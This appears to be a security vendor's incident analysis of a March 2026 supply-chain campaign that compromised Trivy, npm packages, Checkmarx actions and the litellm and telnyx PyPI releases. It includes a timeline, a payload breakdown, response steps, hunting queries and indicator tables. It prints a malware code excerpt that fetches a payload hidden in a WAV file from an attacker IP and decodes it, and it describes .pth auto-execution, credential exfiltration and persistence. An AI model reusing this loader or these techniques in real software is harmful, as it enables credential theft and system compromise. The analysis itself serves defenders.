Key points and observations
- On March 24, 2026, two PyPI releases of LiteLLM,
1.82.7and1.82.8, were published with malicious code as a result of a supply chain compromise. PyPI later quarantined the project. On March 27, two releases of thetelnyxpackage,4.87.1and4.87.2, were also backdoored. - Datadog Security Research's investigation links these compromises to a broader campaign that began with the March 19 Trivy compromise, continued with CanisterWorm on npm, and then reached Checkmarx KICS and related artifacts.
- Defenders should treat any host or CI job that installed
litellm1.82.7or1.82.8, ortelnyx4.87.1or4.87.2, as a full-credential exposure event and investigate for persistence, outbound traffic, and Kubernetes activity, not just package presence.
What happened
On March 24 and March 27, the TeamPCP campaign reached PyPI, compromising two popular, legitimate Python packages: litellm, a widely used proxy layer for LLM providers, and telnyx, a telephony SDK. These were not fake or typo-squatted packages. They were compromises of the real projects as part of an ongoing supply chain campaign that had already moved through Trivy, npm, Aqua Security's internal GitHub, and Checkmarx.
The following image provides an overview of how the whole attack is unfolding:
Before getting into the payload details, it helps to understand the timeline of events. In our analysis, the operator moved from project to project, siphoning credentials and using them to expand the campaign. Each stage reused access or tradecraft from the one before it.
March 19: Trivy is compromised
On March 19, 2026, a threat actor used compromised credentials to:
- Publish a malicious
trivyv0.69.4release - Force-push 76 of 77
aquasecurity/trivy-actiontags to malicious commits - Replace all seven
aquasecurity/setup-trivytags.
The v0.69.4 tag triggered Trivy's standard release machinery, which then pushed the compromised build through GHCR, ECR Public, Docker Hub, deb and rpm packages, and get.trivy.dev.
The malicious trivy-action and setup-trivy commits dumped Runner.Worker memory, scraped common credential locations, encrypted the results with AES and RSA, and exfiltrated the data to scan.aquasecurtiy[.]org (a look alike domain which may avoid suspicion). If direct exfiltration failed, and a usable GitHub token was present, the malware created a public tpcp-docs repository and uploaded the stolen data there instead. This would allow the threat actors to access the exfiltrated data via this public repo.
March 19 was also not a single release-and-leave event. Additional malicious workflow injections took place into aquasecurity/tfsec, aquasecurity/traceeshark, and aquasecurity/trivy-action. By the end of the day, the campaign had already moved from one poisoned release to active reuse of a compromised identity across other repositories and workflows.
March 20 through March 22: The attacker starts spending stolen access
By March 20, the incident had already moved beyond a poisoned GitHub Action. The attacker was pushing a self-propagating npm worm across multiple publisher scopes: 28 packages in @EmilGroup, 16 in @opengov, plus @teale.io/eslint-config, @airtm/uuid-base32, and @pypestream/floating-ui-dom.
Our assessment is that this marks the first major expansion of the campaign. The worm stole npm tokens from compromised environments, resolved which packages each token could publish, bumped patch versions, fetched the original READMEs to preserve appearances, and republished the packages with the malicious payload. At that point, the attacker was automating the next compromise and broadening the campaign.
By March 22, the infrastructure behind the npm activity was also being used for something more aggressive. The same callback domain used in the npm worm was serving a Kubernetes-focused script that split victims into destructive and non-destructive paths.
The script checked timezone and locale to determine if the system was Iranian. On Iranian systems it deployed a host-provisioner-iran DaemonSet, mounted the host root filesystem, and ran a container named kamikaze that deleted the host filesystem and force-rebooted the node. On non-Iranian Kubernetes targets, it deployed host-provisioner-std, mounted / from the host, and installed persistent backdoor logic instead.
Later on March 22, the GitHub side of the campaign became more explicit. A GitHub account called Argon-DevOps-Mgt created and deleted a ghost branch on aquasecurity/trivy-plugin-aqua, then roughly seven hours later the same access was used to deface Aqua Security's internal aquasec-com GitHub organization. In total, 44 repositories were renamed, all with a tpcp-docs- prefix and the description "TeamPCP Owns Aqua Security."
March 23: the same pattern reaches Checkmarx and OpenVSX
By March 23, the campaign had moved into another vendor's release chain. The attacker(s) compromised Checkmarx/kics-github-action, Checkmarx/ast-github-action, and two OpenVSX extensions, ast-results 2.53.0 and cx-dev-assist 1.7.0.
This phase reused the same fallback pattern seen earlier in the campaign. The KICS payload used a setup.sh stealer tied to checkmarx[.]zone and fell back to creating a docs-tpcp repository with the victim's GITHUB_TOKEN if direct C2 failed.
March 23 is the clearest bridge into the PyPI compromises. By then, the attacker had already demonstrated a repeated pattern against GitHub Actions, package registries, and developer tooling in more than one vendor environment.
March 24: LiteLLM is compromised on PyPI
litellm 1.82.7 and 1.82.8 were both released on March 24, 2026. These packages feature the same malicious payload with different execution mechanisms.
The payload is easiest to follow as a sequence:
- Collect secrets and credentials: The malware gathers environment variables, SSH keys, cloud credentials, Kubernetes data, Docker configs, shell history, database credentials, wallet files, and CI/CD secrets.
- Encrypt the haul locally: It then uses a hybrid scheme for encryption: an AES-256 session key for the data, then RSA-4096 for the session key.
- Exfiltrate it: Once encrypted on the host, the data is then sent to
models.litellm[.]cloudusing the headerX-Filename: tpcp.tar.gz. - Install persistence: The payload writes
~/.config/sysmon/sysmon.pyand installs a user systemd unit calledsysmon.service. - Beacon for follow-on payloads: After this, the malware polls
https://checkmarx[.]zone/raw, downloads/tmp/pglog, and executes whatever the attacker serves there next. - Spread in Kubernetes if it can: The payload can create privileged
node-setup-*pods when it finds a usable Kubernetes service-account token. That turns a package compromise into a cluster compromise.
Both versions carry the same payload but differ in how they trigger it.
litellm 1.82.7 carried an injected payload in litellm/proxy/proxy_server.py. That means the malicious logic lived in package code rather than in a one-off install hook.
A victim that installed 1.82.7, and then subsequently used the vulnerable package in their application, would execute the attackers' payload.
Version 1.82.8 is the more dangerous story. This version includes a new litellm_init.pth file inside the wheel. From the Python site documentation, executable lines in .pth files run during interpreter startup.
This means that if the package is installed, it will launch the malicious payload when the Python interpreter is started.
March 27: Telnyx is compromised on PyPI
On March 27, two backdoored versions of the telnyx package were published with a different payload.
Both versions execute malicious code at import time. The code downloads a crafted WAV file from hxxp://83.142.209[.]203:8080/ringtone.wav that hides a second-stage payload inside audio frames. Each 16-byte frame contains 8 bytes of XOR-encrypted data followed by the 8-byte key to decrypt it.
# Comments added for clarity
# Retrieve the WAV file
WAV_URL = "http://83.142.209.203:8080/ringtone.wav"
req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'})
with urllib.request.urlopen(req, timeout=15) as r:
with open(wf, "wb") as f:
f.write(r.read())
# Retrieve the second-stage payload that's embedded and encrypted inside it
with wave.open(wf, 'rb') as w:
raw = base64.b64decode(w.readframes(w.getnframes()))
s, data = raw[:8], raw[8:]
# XOR the first 8 bytes with the last 8 bytes of each frame
payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])
The second-stage payload harvests credentials and sensitive files from the infected machine, encrypts them with the same RSA public key used in the LiteLLM attack, and exfiltrates the data over HTTP to hxxp://83.142.209[.]203:8080/.
Responding to the incident if you're affected
Treat any environment that installed litellm 1.82.7 or 1.82.8, or telnyx 4.87.1 or 4.87.2, as potentially compromised. For LiteLLM, version 1.82.8 is the higher-risk case: its malicious .pth file executes automatically when the Python interpreter starts. For 1.82.7, focus on systems that imported the proxy module. For Telnyx, both versions execute at import time.
Responders should focus on four things:
- Scope affected systems: Identify every host, container, CI job, and developer workstation that installed either version. Separate "package present" from "likely executed" where you can, but do not assume a system is safe if you cannot prove the payload never ran.
- Map reachable credentials: Review what the affected process could access locally and what it could fetch on demand. Prioritize cloud credentials, GitHub and package publishing tokens, CI secrets, SSH keys, Kubernetes service account tokens,
.envfiles, and access to centralized secret stores such as AWS Secrets Manager or SSM Parameter Store. - Rotate based on blast radius: Revoke and reissue any credential that was reachable from an affected runtime, starting with credentials that can publish code, access CI/CD, read shared secrets, or create infrastructure. If an exposed token touched a build or release pipeline, review downstream artifacts published from that environment as well.
- Hunt for follow-on activity and persistence: Look for outbound traffic to
models.litellm[.]cloud,83.142.209[.]203,checkmarx[.]zone, related ICP or Cloudflare infrastructure, and for filesystem artifacts such as litellm_init.pth,~/.config/sysmon/sysmon.py,~/.config/systemd/user/sysmon.service,/tmp/pglog, and/tmp/.pg_state. In Kubernetes, review audit logs for unusual secret access, privileged pod creation, or pod names matchingnode-setup-*.
Do not treat reverting the compromised packages as a complete remediation. Full recovery requires removing the compromised versions, rotating all credentials reachable from the affected runtime, reviewing artifacts recently published from exposed environments, and rebuilding critical systems from known-good images with pinned dependencies. Because this is an active, multi-stage campaign, you should also increase monitoring for follow-on compromise.
Protecting against known malicious packages with SCFW
The Supply-Chain Firewall (SCFW) is an open-source project that transparently wraps 'pip install' and 'npm install' and automatically blocks known malicious packages.
We use SCFW extensively at Datadog, as it's a low-friction way to secure developer workstations against similar threats.
To try SCFW, head over to the GitHub repository.
How Datadog can help
If you're a Code Security customer, the Datadog Security Research Feed can help you easily identify if your environment is affected by this campaign, including by the latest compromised packages.
Datadog Code Security can also identify hosts, containers, and build environments where the compromised versions were installed. That gives you the first scope boundary.
library_name:litellm status:Open library_version:(1.82.7 OR 1.82.8)
library_name:telnyx status:Open library_version:(4.87.1 OR 4.87.2)
Because the compromise primarily impacts services with floating dependencies, you may want to broaden the search to library_version:(1.82.6 OR 1.82.7 OR 1.82.8) to catch services whose data hasn’t yet been refreshed, even though 1.82.6 isn’t vulnerable on its own.
Then move to follow-on activity. Hunt for the linked domains, filesystem paths, and Kubernetes behavior across logs, workload telemetry, and cloud data. A short starting set:
@dns.question.name:(models.litellm[.]cloud OR checkmarx[.]zone OR *.icp0[.]io OR *aquasecurtiy[.]org OR *trycloudflare[.]com)
Note: Cloudflare Tunnels are a legitimate tool for exposing services to the internet. If your environment already uses them, narrow the query to the specific subdomains from the IoC list below instead of treating the whole service as suspicious.
source:kubernetes.audit @objectRef.resource:pods (@objectRef.name:*node-setup-* OR @requestObject.spec.containers.name:(kamikaze OR provisioner))
source:kubernetes.audit @http.method:(get OR list) @objectRef.resource:secrets @userAgent:Python-urllib*
source:cloudtrail @evt.name:(GetSecretValue OR ListSecrets OR DescribeParameters) @http.useragent:Python-urllib*
@file.path:(*litellm_init.pth OR */.config/sysmon/sysmon.py OR */.config/systemd/user/sysmon.service OR /tmp/pglog OR /tmp/.pg_state)
Conclusion
The LiteLLM and Telnyx compromises are the latest episodes in an ongoing supply-chain campaign that has involved numerous projects across millions of downloads. This is a case study in how stolen CI/CD credentials from an initial compromise can cascade into fresh attacks across multiple ecosystems in a matter of days.
Defenders should monitor their infrastructure for suspicious activity related to these recent compromises, and evaluate their prevention, detection, and response playbooks to determine preparedness for future attacks.
IOCs
You can download these IOCs as CSV from our GitHub repository.
Affected packages
| Type | Name | Affected versions |
|---|---|---|
| Python package | litellm |
1.82.7, 1.82.8 |
| Python package | telnyx |
4.87.1, 4.87.2 |
| Docker image | aquasec/trivy |
0.69.4, 0.69.5, 0.69.6 |
| Docker image | ghcr.io/aquasecurity/trivy |
0.69.4, 0.69.5, 0.69.6 |
| Docker image | docker.io/aquasec/trivy:0.69.4 |
0.69.4, 0.69.5, 0.69.6 |
| Docker image | public.ecr.aws/aquasecurity/trivy |
0.69.4, 0.69.5, 0.69.6 |
| GitHub action | aquasecurity/setup-trivy |
0.2.0 to 0.2.6 |
| GitHub action | aquasecurity/trivy-action |
All tags not starting with v, except 0.35.0 |
| GitHub action | Checkmarx/kics-github-action |
v1.1 |
| GitHub action | Checkmarx/ast-github-action |
v2.3.28 |
| OpenVSX extension | ast-results |
2.53.0 |
| OpenVSX extension | cx-dev-assist |
1.7.0 |
| npm package | @pypestream/floating-ui-dom | 2.15.1 |
| npm package | @leafnoise/mirage | 2.0.3 |
| npm package | @opengov/ppf-backend-types | 1.141.2 |
| npm package | eslint-config-ppf | 0.128.2 |
| npm package | react-leaflet-marker-layer | 0.1.5 |
| npm package | react-leaflet-cluster-layer | 0.0.4 |
| npm package | react-autolink-text | 2.0.1 |
| npm package | opengov-k6-core | 1.0.2 |
| npm package | jest-preset-ppf | 0.0.2 |
| npm package | cit-playwright-tests | 1.0.1 |
| npm package | eslint-config-service-users | 0.0.3 |
| npm package | babel-plugin-react-pure-component | 0.1.6 |
| npm package | @opengov/form-renderer | 0.2.20 |
| npm package | @opengov/qa-record-types-api | 1.0.3 |
| npm package | @opengov/form-builder | 0.12.3 |
| npm package | @opengov/ppf-eslint-config | 0.1.11 |
| npm package | @opengov/form-utils | 0.7.2 |
| npm package | react-leaflet-heatmap-layer | 2.0.1 |
| npm package | @virtahealth/substrate-root | 1.0.1 |
| npm package | @airtm/uuid-base32 | 1.0.2 |
| npm package | @emilgroup/setting-sdk | 0.2.3,0.2.2,0.2.1 |
| npm package | @emilgroup/partner-portal-sdk | 1.1.3,1.1.2,1.1.1 |
| npm package | @emilgroup/gdv-sdk-node | 2.6.3,2.6.2,2.6.1 |
| npm package | @emilgroup/docxtemplater-util | 1.1.4,1.1.3,1.1.2 |
| npm package | @emilgroup/accounting-sdk | 1.27.3,1.27.2,1.27.1 |
| npm package | @emilgroup/task-sdk | 1.0.4,1.0.3,1.0.2 |
| npm package | @emilgroup/setting-sdk-node | 0.2.3,0.2.2,0.2.1 |
| npm package | @emilgroup/task-sdk-node | 1.0.4,1.0.3,1.0.2 |
| npm package | @emilgroup/partner-sdk | 1.19.3,1.19.2,1.19.1 |
| npm package | @emilgroup/numbergenerator-sdk-node | 1.3.3,1.3.2,1.3.1 |
| npm package | @emilgroup/customer-sdk | 1.54.5,1.54.4,1.54.3,1.54.2,1.54.1 |
| npm package | @emilgroup/commission-sdk | 1.0.3,1.0.2,1.0.1 |
| npm package | @emilgroup/process-manager-sdk | 1.4.2,1.4.1 |
| npm package | @emilgroup/changelog-sdk-node | 1.0.3,1.0.2 |
| npm package | @emilgroup/document-sdk-node | 1.43.6,1.43.5,1.43.4,1.43.3,1.43.2,1.43.1 |
| npm package | @emilgroup/commission-sdk-node | 1.0.3,1.0.2,1.0.1 |
| npm package | @emilgroup/document-uploader | 0.0.12,0.0.11,0.0.10 |
| npm package | @emilgroup/discount-sdk | 1.5.3,1.5.2,1.5.1 |
| npm package | @emilgroup/discount-sdk-node | 1.5.2,1.5.1 |
| npm package | @teale.io/eslint-config | 1.8.16,1.8.15,1.8.14,1.8.13,1.8.12,1.8.11,1.8.10,1.8.9 |
| npm package | @emilgroup/insurance-sdk | 1.97.6,1.97.5,1.97.4,1.97.3,1.97.2,1.97.1 |
| npm package | @emilgroup/account-sdk | 1.41.2,1.41.1 |
| npm package | @emilgroup/account-sdk-node | 1.40.2,1.40.1 |
| npm package | @emilgroup/accounting-sdk-node | 1.26.2,1.26.1 |
| npm package | @emilgroup/api-documentation | 1.19.2,1.19.1 |
| npm package | @emilgroup/auth-sdk | 1.25.2,1.25.1 |
| npm package | @emilgroup/auth-sdk-node | 1.21.2,1.21.1 |
| npm package | @emilgroup/billing-sdk | 1.56.2,1.56.1 |
| npm package | @emilgroup/billing-sdk-node | 1.57.2,1.57.1 |
| npm package | @emilgroup/claim-sdk | 1.41.2,1.41.1 |
| npm package | @emilgroup/claim-sdk-node | 1.39.2,1.39.1 |
| npm package | @emilgroup/customer-sdk-node | 1.55.2,1.55.1 |
| npm package | @emilgroup/document-sdk | 1.45.2,1.45.1 |
| npm package | @emilgroup/gdv-sdk | 2.6.2,2.6.1 |
| npm package | @emilgroup/insurance-sdk-node | 1.95.2,1.95.1 |
| npm package | @emilgroup/notification-sdk-node | 1.4.2,1.4.1 |
| npm package | @emilgroup/partner-portal-sdk-node | 1.1.2,1.1.1 |
| npm package | @emilgroup/partner-sdk-node | 1.19.2,1.19.1 |
| npm package | @emilgroup/payment-sdk | 1.15.2,1.15.1 |
| npm package | @emilgroup/payment-sdk-node | 1.23.2,1.23.1 |
| npm package | @emilgroup/process-manager-sdk-node | 1.13.2,1.13.1 |
| npm package | @emilgroup/public-api-sdk | 1.33.2,1.33.1 |
| npm package | @emilgroup/public-api-sdk-node | 1.35.2,1.35.1 |
| npm package | @emilgroup/tenant-sdk | 1.34.2,1.34.1 |
| npm package | @emilgroup/tenant-sdk-node | 1.33.2,1.33.1 |
| npm package | @emilgroup/translation-sdk-node | 1.1.2,1.1.1 |
Network
| Indicator | Context |
|---|---|
models.litellm[.]cloud |
LiteLLM exfiltration endpoint |
checkmarx[.]zone/raw |
Follow-on C2 polling endpoint referenced in LiteLLM public analysis and KICS reporting |
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io |
CanisterWorm ICP canister C2 from related campaign reporting |
aquasecurtiy[.]org |
Trivy typosquat from the earlier March 2026 compromise |
championships-peoples-point-cassette.trycloudflare[.]com |
Related campaign Cloudflare tunnel |
investigation-launches-hearings-copying.trycloudflare[.]com |
Related campaign Cloudflare tunnel |
souls-entire-defined-routes.trycloudflare[.]com |
Related campaign Cloudflare tunnel |
83.142.209.203 |
Second-stage payload server (Telnyx) |
83.142.209.11 |
Related campaign infrastructure |
46.151.182.203 |
Related campaign infrastructure |
Filesystem and persistence
| Indicator | Context |
|---|---|
litellm_init.pth |
Malicious startup hook in litellm 1.82.8 |
~/.config/sysmon/sysmon.py |
LiteLLM persistence script path |
~/.config/systemd/user/sysmon.service |
LiteLLM user systemd unit |
sysmon.service |
Service name used for persistence |
/tmp/pglog |
Downloaded and executed second-stage payload |
/tmp/.pg_state |
State file used by the beacon |
X-Filename: tpcp.tar.gz |
Exfiltration header observed in public analysis |
Kubernetes
| Indicator | Context |
|---|---|
node-setup-* |
Privileged pod naming pattern in LiteLLM analysis |
kamikaze |
Related campaign container name from TeamPCP reporting |
provisioner |
Related campaign container name from TeamPCP reporting |
Packages
| Indicator | Context |
|---|---|
litellm==1.82.7 |
Confirmed compromised release |
litellm==1.82.8 |
Confirmed compromised release |
Sources
- https://research.jfrog.com/post/canister-worm/
- https://www.stepsecurity.io/blog/canisterworm-how-a-self-propagating-npm-worm-is-spreading-backdoors-across-the-ecosystem
- https://ramimac.me/trivy-teampcp
- https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6x23
- https://checkmarx.com/blog/checkmarx-security-update/
- https://github.com/pypa/advisory-database/blob/main/vulns/litellm/PYSEC-2026-2.yaml